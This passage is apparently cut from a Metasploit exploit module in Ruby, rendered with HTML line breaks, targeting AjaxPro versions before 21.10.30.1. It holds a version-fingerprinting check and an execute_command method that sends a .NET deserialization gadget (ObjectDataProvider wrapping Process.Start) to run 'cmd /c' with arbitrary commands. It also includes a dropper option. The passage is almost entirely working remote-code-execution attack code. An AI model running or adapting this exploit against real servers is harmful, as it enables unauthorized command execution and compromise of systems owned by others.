'keep_cookies' => true<br /> )<br /> unless res<br /> return CheckCode::Unknown("Target did not respond to #{normalize_uri(target_uri.path, 'core.ashx')}")<br /> end<br /><br /> unless res.code == 200 && res.headers['Content-Type'].include?('application/x-javascript')<br /> return CheckCode::Safe('Is not AjaxPro?')<br /> end<br /><br /> unless (cap = res.body.match(/ID: ?"(\S+?)",/).captures)<br /> return CheckCode::Detected('Failed to get AjaxPro ID.')<br /> end<br /><br /> @ajax_pro[:ID] = cap[0]<br /><br /> unless (cap = res.body.match(/version: ?"(\S+?)",/).captures)<br /> return CheckCode::Detected('Failed to get AjaxPro version.')<br /> end<br /><br /> @ajax_pro[:version] = cap[0]<br /><br /> if Rex::Version.new(@ajax_pro[:version]) >= Rex::Version.new('21.10.30.1')<br /> return CheckCode::Safe("AjaxPro version #{@ajax_pro[:version]} is not vulnerable.")<br /> end<br /><br /> res = send_request_cgi(<br /> 'method' => 'GET',<br /> 'uri' => normalize_uri(target_uri.path, datastore['Namespace'] + '.ashx'),<br /> 'keep_cookies' => true<br /> )<br /> unless res<br /> return CheckCode::Appears('Failed to check if the target method exists.')<br /> end<br /><br /> unless res.code == 200 && res.body.match(/#{datastore['Method']}: ?function ?\((\S+?, ?)*#{datastore['Parameter']}(, ?\S+?)*\) ?\{/)<br /> return CheckCode::Appears("But method '#{datastore['Method']}' with parameter '#{datastore['Parameter']}' was not found in namespace '#{datastore['Namespace']}'")<br /> end<br /><br /> CheckCode::Appears("Confirmed target method exists and the AjaxPro version (#{@ajax_pro[:version]}) is vulnerable.")<br /> end<br /><br /> def execute_command(cmd, _opts = {})<br /> vprint_status("Executing command: #{cmd}")<br /> json_post_data = JSON.generate(<br /> {<br /> "#{datastore['Parameter']}": {<br /> __type: 'System.Windows.Data.ObjectDataProvider, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35',<br /> MethodName: 'Start',<br /> ObjectInstance: {<br /> __type: 'System.Diagnostics.Process, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089',<br /> StartInfo: {<br /> __type: 'System.Diagnostics.ProcessStartInfo, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089',<br /> FileName: 'cmd',<br /> Arguments: "/c #{cmd}"<br /> }<br /> }<br /> }<br /> }<br /> )<br /><br /> res = send_request_cgi({<br /> 'method' => 'POST',<br /> 'uri' => normalize_uri(target_uri.path, datastore['Namespace'] + '.ashx'),<br /> 'ctype' => 'text/plain; charset=utf-8',<br /> 'headers' => { "X-#{@ajax_pro[:ID]}-Method" => datastore['Method'] },<br /> 'data' => json_post_data<br /> })<br /> unless res<br /> fail_with(Failure::Unreachable, "Request to #{normalize_uri(target_uri.path, datastore['Namespace'] + '.ashx')} failed.")<br /> end<br /><br /> unless res.code == 200<br /> fail_with(Failure::Unknown, "Failed to execute command. Server returned #{res.code} status.")<br /> end<br /> end<br /><br /> def exploit<br /> case target['Type']<br /> when :win_cmd<br /> execute_command(payload.encoded)<br /> when :win_dropper<br /> execute_cmdstager(background: true, delay: 1)<br /> end<br /> end<br />end<br /></code></pre>
